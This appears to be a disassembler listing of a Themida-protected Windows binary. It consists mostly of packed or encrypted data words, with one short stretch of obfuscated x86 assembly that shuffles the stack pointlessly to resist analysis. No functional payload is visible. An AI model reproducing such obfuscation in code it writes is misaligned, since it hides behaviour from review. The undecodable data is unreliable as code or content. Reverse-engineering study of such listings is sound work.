		dd 0A976928Bh, 4CB93F22h, 0DFA2D07Bh, 0CA515F9Ch, 463E3881h
		dd 5F10B938h, 0F6FC185Dh, 0BC2120B9h, 6099E8F6h, 0C140C35Ah
		dd 0F7505C9Eh, 0FC185D46h, 5807A09Fh, 67891CA0h, 4F9215E1h
		dd 0FC3A04F5h, 0A1h, 2ADEEC7Dh,	28647BA5h, 39AEAB9Fh, 5239C066h
		dd 0B1B00983h, 7C27464Ch, 7F300EBh, 0C0195266h,	3A9F5981h
		dd 0FC182839h, 5EC4CA33h, 2D51B4E1h, 0AE2F9B6Bh, 2D716B2Ah
		dd 18285B1Ch, 40BD8AFCh, 0A8F6E75Ah, 0A5E3125Dh, 0CCB83E46h
		dd 4A29845h, 6C373Ah, 31B00000h, 1822A7A8h, 0B8017EFCh
		dd 276D6EC2h, 367C6120h, 2C90BAD7h, 0A4095393h,	8C375E6Fh
		dd 4ADF424Eh, 1D8BC8B8h, 46EDFE04h, 4AD1DD1Fh, 0BECDD10Bh
		dd 6ED2A204h, 0F750D352h, 0FC186646h, 7C61A09Fh, 0D9AD9536h
		dd 0A422706Dh, 22666EBEh, 5A1BBC3Fh, 8BFC18B9h,	27002BBCh
		dd 0FC18B90Bh, 0ABDED610h, 3A041376h, 1D5h, 6A6EE900h
		dd 5B9CC726h, 0A1E0CE5Dh, 4540C628h, 2907DA2Ch,	0EAB1DA01h
		dd 2777AD3Ah, 5CB9AF80h, 0A89CC6E7h, 981EDB9Ah,	70FFC80Dh
		dd 82050488h, 0C3B5A603h, 176CFC18h, 18C30536h,	4667DCFCh
		dd 0A68A9740h, 0B76406A3h, 0A09F01FAh, 0DFDD1A45h, 3894E33h
		dd 3E008B1Ch, 7DF58247h, 0C978C16Ch, 9EF9FA55h,	696EDCA8h
		dd 15C2A723h, 2E119097h, 5586E5ABh, 0FA5543F4h,	4A592F9h
		dd 0B101F679h, 0B13A4145h, 3ABE2144h, 2FAC1776h, 0B4B21A61h
		dd 0B03A78C0h, 3B8176C4h, 0FF3C919Fh, 29933FE6h, 0D7000001h
		dd 0D0577B18h, 0B9470851h, 0A19EFC18h, 97169918h, 0C29B21D4h
		dd 0FC18B991h, 89D2EB40h, 1FADF35h, 5D84E75Ch, 0B1F01E9Ch
		dd 9CDF4248h, 8DCE5D5Bh, 29AE113Ch, 40EA1863h, 0CBD10674h
		dd 0B191C354h, 0DD68E6A6h, 0BD101E0Ch, 103FE69Bh, 3D074891h
		dd 61DEF9FAh, 42DB58h, 0AEEF0000h, 45A0EEEFh, 4AD1DF1Ah
		dd 3AF3D401h, 97303717h, 0FC18B976h, 0ECB5D0AFh, 0FC18B86Bh
		dd 0BF3A7661h, 0FE6184F1h, 0DE54B7FDh, 7350A89Ch, 56F9FBCBh
		dd 3556F376h, 6CFC18B8h, 8D568B17h, 6C000000h, 0D0577B18h
		dd 0FAD2E777h, 3A413E01h, 1E5FF87Bh, 37F9FAA0h,	0E33A8672h
		dd 0A5AC3D6Ah, 19687634h, 86B710E0h, 5FF9FAA0h,	0F750ABE0h
		dd 0F9FAA37Dh, 0CF08904Bh, 0C6099CC9h, 347E8D13h, 0A23E8272h
		dd 7562D0A4h, 5716AB37h, 0E8C11AA0h, 67C0476Bh,	7E05A0Dh
		dd 0B1F00B60h, 0BDEFAE18h, 35966AD1h, 0BCCFCD0Ah, 9F3C535h
		dd 0B8F56685h, 0B5F3E26Dh, 0F6CE8856h, 463E3882h, 7F71818Eh
		dd 34C69014h, 0CC6D1C49h, 9C9AF70h, 3C3AA09Fh, 0D0577B18h
		dd 2403D77h, 801B5002h,	0F4129841h, 274644B5h, 9E05365Ah
		dd 0D4D8025Dh, 0C6CA0EB1h, 0FDBB3CA7h, 0C1370F49h, 1F2B1B5Dh
		dd 891C985Ch, 3F47B4Ch,	0AF281985h, 0A45392E9h,	313B87E6h
		dd 0BA00F945h, 8515C487h, 0CC1D4A58h, 0E26E6BDEh, 50E91445h
		dd 3976CD9Eh, 383E2h, 0A7BB0000h, 2C686E9Dh, 5B6196D9h
		dd 575B81C0h, 404E8D34h, 7341BA25h, 6E34A928h, 9B21D41Fh
		dd 9519C100h, 8307CF76h, 5F68F278h, 89000057h, 0E2892414h
		dd 4C281h, 0EA830000h, 24148704h, 3EE4685Ch, 1C890000h
		dd 61196824h, 14890000h, 0E9685224h, 5A351841h,	0F281DAF7h
		dd 0CF0E395Fh, 148BD389h, 4C48124h, 54000000h, 8124148Bh
		dd 4C4h, 4815300h, 6B76C124h, 8428F2Bh,	2A6BD55h, 0EDC17F77h
		dd 81D5F708h, 0BA330DF5h, 0B1C58106h, 0F714E75Bh, 9EF581DDh
		dd 29DAB69Eh, 0FF5D086Ah, 815A2434h, 4C4h, 2434FF00h, 4C4815Bh
		dd 0E9000000h, 0FFF8F37Bh, 0A39BEB62h, 0DFB23A56h, 7B81A9Eh
		dd 305E98Ch, 0DFE0FFC5h, 2E5529A0h, 4D299758h, 0EE13F94Eh
		dd 594BD2EEh, 0DA51731Ah, 2D0B607Eh, 154393AAh,	0C52BC2B5h
		dd 5122B69Dh, 841C0F39h, 0F6630008h, 0E765B3B3h, 0EB3B97BCh
		dd 0F0EE104h, 4B8E90Dh,	53850000h, 0FEF64B57h, 0AD2D1CBAh
		dd 5184E5E1h, 1FA4F4Bh,	0F99817B3h, 6D6937A4h, 0CBD7DD1Ch
		dd 92388476h, 666C2AAFh, 0B1A2077Eh, 60F9F135h,	696EF93Dh
		dd 6499D823h, 8F1B05Eh,	0FFF87B82h, 0C4F72B65h,	0C431D546h
		dd 0F2B63EA1h, 0D5A1EBABh, 0AEF2E6A9h, 2DA5521Dh, 18B5CB8Ch
		dd 0B7B801FCh, 6EFC18B5h, 0C13E7511h, 0D9D71F5Eh, 0CA039A20h
		dd 0FCCD0E9Dh, 1DA15B2Eh, 464AB0F1h, 773DBC27h,	0B480CA14h
		dd 82089446h, 297C3ABFh, 18B53240h, 0C5B137FCh,	41F8F42h
		dd 793C3Ah, 6E060000h, 59D82369h, 0B9C071D6h, 5A11FC18h
		dd 0B9093881h, 0C037FC18h, 0B820A3FAh, 14791F4h, 33B5C335h
		dd 1311CC43h, 1BE3A04h,	80000000h, 0A7EBEFAEh, 1F9B5B06h
		dd 0A502858Ch, 0FC18B9B4h, 1B0CA6Dh, 1A579193h,	0A1551CADh
		dd 5AA1EDEFh, 1E41A411h, 0C84AD1D7h, 8C48B68Eh,	28801908h
		dd 0D567172Eh, 880EC938h, 3BEFF87Dh, 8F0B9146h,	1D5EFB7Ah
		dd 34FC18E7h, 6E986E7Fh, 5DC4276Dh, 0DDEDA1Ah, 0F7169242h
		dd 0BD09FD7Fh, 15547240h, 1C47A6E4h, 3851D0DCh,	0F95E4FD7h
		dd 0FC182A78h, 2AB9D2A9h, 7D18A16Dh, 6EA195D3h,	3A04C7C3h
		dd 5A08h, 6D6E3200h, 5D9DC427h,	0E48CA51h, 8D13C836h, 0F5BB2001h
		dd 0E2A82F96h, 13A1589Bh, 0A904988h, 572F19F3h,	0DF9E9FE1h
		dd 1499218h, 112FF235h,	589C3A04h, 0A6000000h, 0C4276D6Eh
		dd 0DEDA1A5Dh, 0B2BD0E4Fh, 0D7214448h, 0A459A591h, 0D871F01Eh
		dd 0CEAC53BBh, 2B7763A4h, 6E19EDFEh, 58DB2266h,	0B217E119h
		dd 0FC18B981h, 5FAE1B50h, 0CE64CD1Eh, 0D3FC18B9h, 0B36EA195h
		dd 1A3A0413h, 0C4C67B8Dh, 8CF3E408h, 0B724474Dh, 1E916h
		dd 6EDD0000h, 0A023266Ah, 18B95607h, 349C82FCh,	395809Fh
		dd 0F49F2807h, 0FF0E8C4Dh, 115D2913h, 35A2A5E9h, 8A26B96Dh
		dd 0A1063928h, 0FC1802B0h
		dd 0D5B10A61h, 0C374D554h, 12FC1802h, 0A6AB8425h, 1FDC9F82h
		dd 0F8C10A91h, 766E10B9h, 768101FAh, 0FEC7AE4Ch, 69CE7189h
		dd 0F9FA21E8h, 0F6154239h, 860C8A4Fh, 0F17036A3h, 3E8E2D58h
		dd 7D4EC485h, 94F689D6h, 0BBADF9FAh, 3C7A7FCBh,	6026D396h
		dd 951DDA05h, 89C25965h, 33B5C95Ch, 8402F743h, 40BD101Eh
		dd 123FE6h, 54000001h, 568B7B18h, 0B769EDB5h, 0AFEE91CEh
		dd 2E72662Ah, 0A9E8F1h,	1FAA3B2h, 0D41F6EC5h, 8796523h
		dd 1756C9CFh, 0B40DBDFh, 0AF28ABB2h, 52F776E9h,	0F9FA1BE1h
		dd 0DB627B30h, 0C93501ABh, 60C8A10h, 3FE6B5CBh,	4F60h
		dd 39AE5A00h, 84D4D753h, 0D3DF1D5Ch, 0F5D60348h, 0D8ED153Ch
		dd 0B19EA32Eh, 0B6D5D903h, 0EC93C805h, 1839DA4Bh, 198710FCh
		dd 9715C08Ah, 0D956C774h, 0F511AABBh, 51026FBEh, 39FC188Ch
		dd 808F4531h, 8B1CBDACh, 3AFC188Ch, 6800414Dh, 3A000000h
		dd 0D0577B18h, 0FAD2E777h, 3A413E01h, 52783EBBh, 59ACEAEFh
		dd 0FAA344F0h, 572F19F9h, 7C74EEEBh, 0DDEF9374h, 944743B8h
		dd 3A4DB8Fh, 7E0450Ch, 74FCFBBAh, 0D32962D3h, 8FC4B3F7h
		dd 9D5EFF7Ch, 1567BAE3h, 0F443C7E0h, 0E3A92E91h, 1B5CFD7Ch
		dd 0CAF7D367h, 0F9C16C7Dh, 0C04D877Fh, 0C5DC7DECh, 6809C998h
		dd 18C9F713h, 77D0577Bh, 2024698h, 2E746726h, 0EB32099Dh
		dd 36296F68h, 0AD3E8477h, 494F88F9h, 0D5E95532h, 0FCFB0116h
		dd 0F7E46FBEh, 147733A3h, 0E3136AA7h, 170B6D59h, 9127D392h
		dd 92DB2268h, 0EADA8425h, 2A5D5B9Ch, 9B2C726Bh,	7F3DBA8Fh
		dd 0B922652Ch, 686FD2EBh, 75FFDB22h, 0C6C43581h, 0EEE6A9D8h
		dd 7FC653AAh, 92B2C7Eh,	470AD308h, 0D2D61E92h, 52D5024Bh
		dd 6A7E313h, 1D147Fh, 0D2950000h, 4809AE28h, 99F2C8A3h
		dd 0C23275A2h, 0AE01E5C6h, 0B9C98A2Fh, 2318FC18h, 6E541E9Ah
		dd 96D92C68h, 81C05B61h, 8D34575Bh, 0BA25404Eh,	0A9287341h
		dd 0D41F6E34h, 0C1009B21h, 0CF769519h, 0F2788307h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	4317h
		mov	[esp], ecx
		push	18C7h
		mov	[esp], edi
		push	edi
		mov	edi, 5E98CEBh
		mov	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		push	esp
		mov	edi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		pop	dword ptr [edi+8]
		mov	edi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_4F5CCB
; ---------------------------------------------------------------------------
		dw 0D1Fh
		dd 169AD9BCh, 0F7BC8304h, 21B89C61h, 305E991h, 0C3E0FFC5h
		dd 6B1011CCh, 340517C9h, 332B53AEh, 0CD30A866h,	0D21EB53Fh
		dd 5C7F1652h, 0D9534A33h, 7A668014h, 8262B85Eh,	0F26671E5h
		dd 1F56858Dh, 286211D0h, 0B831471Eh, 6334A109h,	0C4278D02h
		dd 433DD446h, 0EB163F46h, 10h, 3 dup(0)
		dd 6AC08B00h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 59B5C357h, 8DB81257h, 0F8B22C60h
		dd 1C958589h, 0BD8305E2h, 5E21EA9h, 83097500h, 0E21805BDh
		dd 19740005h, 0C08B5350h, 42DB8h, 5D858900h, 8D05E231h
		dd 0E4B2FA9Dh, 5BD3FF05h, 5BD8358h, 5E218h, 53501774h
		dd 42DB8h, 5D858900h, 8D05E231h, 0E4AFE99Dh, 5BD3FF05h
		dd 11E958h, 88C00000h, 534190D6h, 0E58D8735h, 0C6D6F655h
		dd 6A4F12ACh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 0BD9C351h, 0C08B45C1h,	13E8h
		dd 9189E200h, 90CDD929h, 2ECC59Eh, 0FB98BC16h, 0D2111F3h
		dd 7EF6805Eh, 17DD8D8Bh, 0BD8905E2h, 5E2156Dh, 0F00F983h
		dd 6984h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1604h, 0C3524200h, 64C4F5FCh, 2C3D8Bh, 958B0000h, 5E223C1h
		dd 840FFF0Bh, 36h, 6359D89h, 3F8B05E2h,	5A9B58Bh, 0FE805E2h
		dd 0AA000000h, 0AB477243h, 0A79C2721h, 2A333B5Eh, 0FCBAECE3h
		dd 5A574E36h, 0BA66C032h, 0AAF3378Dh, 0B45B58Bh, 493505E2h
		dd 0E9535041h, 0Eh, 0EB59D17Eh,	6CEF46A8h, 2A1658A2h, 0BD897468h
		dd 5E22395h, 0A4985C6h,	6A4705E2h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0B964C355h
		dd 47A9E4ADh, 36D9F028h, 60F7B70Fh, 9C5B501h, 0AE905E2h
		dd 0A000000h, 0E9CEAE81h, 2B047E32h, 4E861BEh, 2C000000h
		dd 60DCD688h, 28A0Fh, 5F520000h, 0DE9h,	27962100h, 0CBEFBBBBh
		dd 0DEF0F7C5h, 5061255Ch, 0FE9h, 0A9189C00h, 0E79B5FF3h
		dd 88C7FBBCh, 0C42209D7h, 424448Bh, 5A04B250h, 0DE9008Bh
		dd 0CD000000h, 0DD275809h, 8B90C004h, 4CD3E35Fh, 4244489h
		dd 58D18B66h, 870Fh, 800F0000h,	0Ch, 68F0Fh, 820F0000h
		dd 0
		dd 16A1B5FFh, 6A05E2h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 150424h, 55450000h, 6057BAC3h, 15C58D0Bh, 0BD8905E2h
		dd 5E22D2Dh, 0F2816061h, 2C31607Fh, 6890Fh, 852B0000h
		dd 5E224E1h, 61858D61h,	6A05E57Ah, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0C8FCC355h
		dd 2B2E55EDh, 786E8808h, 66A4E280h, 0D0FFD78Bh,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0E6C35646h, 99858934h
		dd 6605E20Ah, 4502EE81h, 0A4985C6h, 515305E2h, 23799D89h
		dd 685A05E2h, 968AD4F7h, 3481F38Bh, 12BE0B24h, 8195291Eh
		dd 0FF05E232h, 0E216A1B5h, 0F08B6005h, 6B508CBAh, 858D615Dh
		dd 5E57A61h, 60F9D0FFh,	0CC5858Bh, 61F905E2h, 4157858Dh
		dd 0B70F05E5h, 418589F3h, 8B05E20Bh, 6A206AF1h,	4195FFFFh
		dd 3505E20Bh, 53504149h, 1FED85C7h, 105E2h, 85C70000h
		dd 5E2134Dh, 0
		dd 0F924BE66h, 0C5B52353h, 5A05E229h, 1CA1BD83h, 0F0005E2h
		dd 6C84h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1D04h, 0C3564600h, 0E1A7559Ch, 4FB7B97Eh, 66506F15h
		dd 8B5ED18Bh, 0E2331985h, 0E18D8905h, 6405E209h, 0A3h
		dd 0B1858B00h, 0F05E204h, 18Ah,	0E08BF800h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0F6C35747h, 8BC6E07Eh
		dd 89BD83D6h, 5E20Eh, 4B6850Fh,	8B660000h, 4985C6D0h, 5605E20Ah
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 1DC35747h
		dd 2124372Fh, 7E9B92Ah,	37000000h, 9D4F4F91h, 66522783h
		dd 25E681h, 0FABE665Ah,	4E831h,	30DF0000h, 0DE9A9C5h, 64000000h
		dd 6EA445C8h, 0D56F3C9Ch, 974E75F9h, 8E4BBE50h,	448B5D0Fh
		dd 14E80424h, 6C000000h, 4F6C2A72h, 398E86F0h, 23C802F6h
		dd 0A34B7C7Fh, 0E97CD906h, 11h,	0D8CB2411h, 0DDF60AF8h
		dd 246D881Dh, 9B3656A7h, 8B5A0Ch, 4489D08Bh, 8B660424h
		dd 8D2958F7h, 5E216BDh,	16A1B5FFh, 235205E2h, 0E2262595h
		dd 858D5A05h, 5E57A61h,	0D9952Bh, 0D0FF05E2h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 79C35545h, 0CEAA37B5h
		dd 92CD73ADh, 0C232BA90h, 66506866h, 8090F38Bh,	8D8D03CAh
		dd 5E21859h, 6860Fh, 0B5310000h, 5E2185Dh, 91D18B66h, 1E45BE66h
		dd 48D7BE50h, 6A9102EAh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 952FC357h, 75300710h
		dd 8D89046Ah, 5E23165h,	0E94C2768h, 2434817Fh, 7FE95C27h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 2C35343h
		dd 38684EACh, 33158D89h, 0B5FF05E2h, 5E22A95h, 68A0Fh
		dd 95290000h, 5E204DDh,	0B70F6060h, 0C1B70FF0h,	58E0F61h
		dd 0B9000000h, 0A97B780h, 6AD0FF61h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 149FC353h
		dd 1DD8D600h, 0E2309E55h, 2A95BD8Bh, 6A05E2h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 6E8E7C3h
		dd 85000000h, 0E5C691BCh, 0DB58BD0h, 5E05E209h,	3F6B70Fh
		dd 0BD893C7Fh, 5E214D1h, 0F8C781h, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 40226DC3h
		dd 8597D33Ch, 3830Fh, 8B660000h, 0F7B70FF1h, 202447C7h
		dd 6A600000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 0BBA1C355h, 3C8876EDh,	4BFE855Bh
		dd 91F2BD83h, 0F0005E9h, 1B384h, 69B58900h, 305E21Bh, 0E217C1B5h
		dd 28C78305h, 0C7F08B66h, 696A2E07h, 8E964h, 53C40000h
		dd 0E35C9C8Eh, 47C74B7Eh, 61746104h, 56006A00h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 0C7B193EEh
		dd 642F74AEh, 858B5E51h, 5E991FAh, 8DCCBE66h, 6A0C4789h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 14042444h
		dd 43000000h, 122C353h,	0E214A585h, 0FE858B05h,	8905E991h
		dd 0E20FADBDh, 895A5605h, 6A0847h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 5AF053C3h, 538A76DFh
		dd 9D29DB34h, 5E210F1h,	9E9h, 0B8C8C100h, 10616303h, 0C78314F3h
		dd 51006A28h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1904h
		dd 0C3514100h, 77283422h, 8509EF0Ch, 5E203D9h, 632E07C7h
		dd 890F6E6Fh, 0Bh, 5800Fh, 49BA0000h, 0C764874Bh, 69660447h
		dd 10E90067h, 0A0000000h, 526818B5h, 39E0373Bh,	9BAC4500h
		dd 8BAB6F72h, 0E991F685h, 52006A05h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 0B9AA088Dh
		dd 89C1D43Bh, 6A0C47h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 190424h, 53430000h, 527A09C3h, 29C52A25h, 0E21B5985h
		dd 0F2858B05h, 8B05E991h, 0E20FB5B5h, 89D08B05h, 6A0847h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 0D15803C3h, 0F8FDAD3h, 388h,	0F1D68000h, 59953358h
		dd 8D05E205h, 0E21EC18Dh, 358D3105h, 9105E231h,	0F0B3BE66h
		dd 8B665150h, 0F915AD3h, 68Bh, 0F59D8900h, 0FF05E204h
		dd 0E21859B5h, 5D858905h, 8905E226h, 0E22FD1BDh, 0E6A86805h
		dd 8B664C1Ah, 243481D6h, 4C1AF6A8h, 64D958Bh, 0B5FF05E2h
		dd 5E22A95h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 19h,	0ADC35545h, 120319D0h, 0E9F28B2Ch, 0Eh,	0A7ED9255h
		dd 7BD25209h, 8302135Fh, 0D0FF55A2h, 1003BE66h,	0B8h, 45B58B00h
		dd 0B05E20Ah, 68840FC0h, 89000000h, 0E2197195h,	0A9B5FF05h
		dd 6A05E201h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 0E8A1C351h, 14h, 8B22A6C8h, 66013441h
		dd 0DF7C53B2h, 24F2F978h, 91CBEB32h, 10E8h, 2861CB00h
		dd 4E9C001Ah, 7E9E9B18h, 0A57E35D8h, 0F28B66F0h, 0BD895A5Ah
		dd 5E221E9h, 0B1595FFh,	8BFC05E2h, 56006AC0h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 25A9827Bh
		dd 8BE8CE7Fh, 1EA9BD83h, 750005E2h, 5BD8309h, 5E218h, 53501974h
		dd 2DB8C08Bh, 89000004h, 0E21DD585h, 619D8D05h,	0FF05E4B3h
		dd 83585BD3h, 0E21805BDh, 17740005h, 2DB85350h,	89000004h
		dd 0E21DD585h, 29D8D05h, 0FF05E4B0h, 6A585BD3h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
		dd 3342C355h, 0EAEE2C03h, 0BE042086h, 5D21EC51h, 0C08BD68Bh
		dd 7E8C08Bh, 9F000000h,	48032F29h, 59F9BB6Bh, 28A0Fh, 0C68A0000h
		dd 754AC181h, 85330000h, 5E218B9h, 1D33BEh, 0A1850900h
		dd 0FF05E221h, 518D3131h, 5A05E21Bh, 0A8F281F9h, 8945F659h
		dd 0E200D9B5h, 3DC28105h, 0BB1D860Ch, 2C7BC0E4h, 8151F281h
		dd 0BD0B36BFh, 5E22651h, 5E1BB852h, 18F3DB6h, 95BD0352h
		dd 5F05E226h, 7455E981h, 0B86644CCh, 0C1815629h, 44CC7451h
		dd 0F4ED88Bh, 0FFFFAA85h, 0DEB866FFh, 0ED8D8DF7h, 6A05E99Ch
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 0D204C357h, 7E1C510Dh, 0B52939CEh, 5E21FB5h
		dd 0BE98D89h, 7E805E2h,	0D4000000h, 62F3367Eh, 0BD8BD33Dh
		dd 5E223F9h, 6185C75Bh,	0C405E207h, 6A000063h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 7753C352h, 467290D1h, 798589h, 85C705E2h, 5E21B55h
		dd 0
		dd 1DC9B5FFh, 953305E2h, 5E215FDh, 0D08B6651h, 1595FF5Ah
		dd 6A05E20Bh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 16042444h, 42000000h, 244AC352h, 0BD03520Ah,	5E23195h
		dd 0FF006A5Bh, 0E20AB995h
dword_5679A4	dd 0EBC08B05h, 0F2BF4A6Dh, 0A7CE44BAh, 4458E050h, 1270FD74h
					; DATA XREF: Themida_:004EE8A0o
		dd 0B0DCD18Bh, 5C374A2h, 4EBBAC65h, 0B934B9BDh,	0E19036DDh
		dd 0AA3B0711h, 0A00CBAEAh, 0D61AEE9Ch, 0D232B532h, 914BFA1Bh
		dd 1C009AFBh, 0E2FF921Fh, 191C3AE0h, 0AF164777h, 0BFF89367h
		dd 6ABEDBD0h, 2B70CCA7h, 14E77DAh, 0F745EDF8h, 2994AC70h
		dd 5BED1E46h, 184B2334h, 11AFF02Eh, 0C08B1725h,	17Ah dup(0)
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1804h
		dd 0C3504000h, 1B6C9624h, 0CE9FCCCh, 0EE000000h, 0C2DCFBA3h
		dd 71E680DBh, 9D75F47Bh, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 1Bh, 8CC35040h, 52BA98D5h,	0F8AC3365h, 51006A61h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 1076E5D4h, 881128FEh, 9E937F1h, 26000000h, 82953190h
		dd 2C1391B3h, 56006A5Dh, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1604h, 0C3564600h, 13FBFADh,	6A082444h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 3022C357h
		dd 2159806h, 12E9E365h,	0D000000h, 0DB714612h, 0DC2D2B69h
		dd 0B35497CCh, 49AFF823h, 10E943h, 0FC3C0000h, 0A32DD0C1h
		dd 0BCDD8F00h, 7C52FB89h, 0E958312Ch, 9, 0F3152BF1h, 0ABFBB08Bh
		dd 0FCC39DD5h, 88B0FF5h, 0F000000h, 285h, 0FC616000h, 820FC08Bh
		dd 0Bh,	5860Fh,	80BF0000h, 81035FA4h, 0BC1A44C0h, 0CB81661Fh
		dd 880F3059h, 2, 0C780CA8Bh, 7E9D2h, 4C680000h,	4E647691h
		dd 6EBE6650h, 0F18B665Fh, 7E956h, 0CEDE0000h, 11F1FA59h
		dd 81F85877h, 0A4FFABDEh, 0DEB70F4Bh, 2870Fh, 0C28B0000h
		dd 890FF98Bh, 5, 37889B8h, 4CBE6016h, 61542DBFh, 7E953h
		dd 0AE0F0000h, 56411DECh, 60525F18h, 8C0Fh, 81660000h
		dd 61B09BEEh, 28DF8158h, 805D012Bh, 0BF0F81EFh,	14E960F7h
		dd 21000000h, 0E5A08B83h, 0FB83510Ah, 0C48616FCh, 0C064A044h
		dd 6164D430h, 0AE9h, 7B8AAE00h,	0AB7962D7h, 66060963h
		dd 630AF281h, 7ED5B8F8h, 0F3803E33h, 4820FC8h, 66000000h
		dd 0F8299EB9h, 3890F60h, 0F000000h, 0B70FCFBFh,	11E961F6h
		dd 25000000h, 0AF18534h, 7EFA84A5h, 66BD3D1Ch, 0F9CA4FE6h
		dd 6E9h, 94EB0500h, 0FD3131Eh, 89h, 0FA8B6600h,	66C1B70Fh
		dd 6E9CE8Bh, 67000000h,	0C6EBDFA5h, 0D08BF52Fh,	2840Fh
		dd 0EA8A0000h, 86A5B866h, 10E9h, 6CEA4C00h, 13D580Fh, 0FCD4C8CDh
		dd 65255B9h, 8B1FB6AAh,	800F52D0h, 0
		dd 74D3815Ah, 667B20F4h, 8152CE8Bh, 719362EBh, 0AE95A6Ch
		dd 97000000h, 0AF967997h, 0A65DC0E7h, 0B866536Dh, 605ACB94h
		dd 0F5705B2h, 82h, 52615A00h, 0D38B6660h, 2708B866h, 0FE95F61h
		dd 0E6000000h, 64D2658Bh, 11AD14EAh, 0F58619Bh,	8160E9F4h
		dd 14C234EAh, 0F9BF0F59h, 0E9FE8B61h, 13h, 0E23F9840h
		dd 180A92A0h, 34A819D7h, 92BFAA5Eh, 0F591E05Fh,	60FABF0Fh
		dd 0A6DA8166h, 0C38160CDh, 0FC12EB1h, 61F0BF0Fh, 54BE6661h
		dd 0A10BBFF7h, 0E8524983h, 7, 5B0D8C2Bh, 0E979FC14h, 0Ch
		dd 0A28C0A0Eh, 53A13DB8h, 34821C95h, 5B85B59h, 8055B50Ch
		dd 0DA8054C3h, 816660D2h, 0E9BE87E3h, 5, 93AB4947h, 0E85161FCh
		dd 13h,	578C159Ah, 0DB13866Fh, 6ED0EC93h, 0DAB6C610h, 0FF5AF94h
		dd 82h,	66595B00h, 66B2E3B9h, 8166F18Bh, 0F8D00ECBh, 0DE9F18Ah
		dd 0E0000000h, 3411DCC0h, 0F59B0551h, 54BAE289h, 0D8816656h
		dd 0E95F9A74h, 10h, 48591C7Ah, 89465A91h, 7CB59C1Dh, 56CE859h
		dd 8921BB66h, 0DEBF0FF8h, 9E8E78Ah, 36000000h, 608250F9h
		dd 424A74CBh, 58F28B66h, 0E9C38A60h, 0Dh, 51B5CB7Fh, 83D7E214h
		dd 875F4F21h, 30B96157h, 0B9151B17h, 39E732DDh,	3134E981h
		dd 0F78156D0h, 35BB80BDh, 0E8CA8B66h, 10h, 99C95256h, 62DDCD54h
		dd 6B0EE677h, 5A723CD1h, 198D0Fh, 13E80000h, 0E5000000h
		dd 2399BE28h, 737B769Eh, 0C7BFC543h, 99A46EDCh,	5A5BA359h
		dd 8C0Fh, 800F0000h, 5,	19DB8166h, 0FFBF0F44h, 5810Fh
		dd 81660000h, 6086E0EFh, 2AE98166h, 0FEB70F78h,	0C2816661h
		dd 81664959h, 0B974A0E0h, 77ED6150h, 0BE8h, 0A690E500h
		dd 69CD28FAh, 6EC261A5h, 0D0D28166h, 0EA8A5A2Dh, 10E9h
		dd 22B05C00h, 0D4106CA5h, 0A1F99904h, 0E5D647B7h, 0EB816620h
		dd 0B70F546Ah, 7E8DBh, 1F2C0000h, 0EBCEC0E2h, 0DA8B6627h
		dd 0F98B665Eh, 0F830Fh,	0AE90000h, 44000000h, 59268F03h
		dd 36A2EAE2h, 0EE9CFh, 83590000h, 56A42D83h, 0B3D25A05h
		dd 752C8061h, 12E9h, 0CB7B6E00h, 31F55301h, 0AB4947C0h
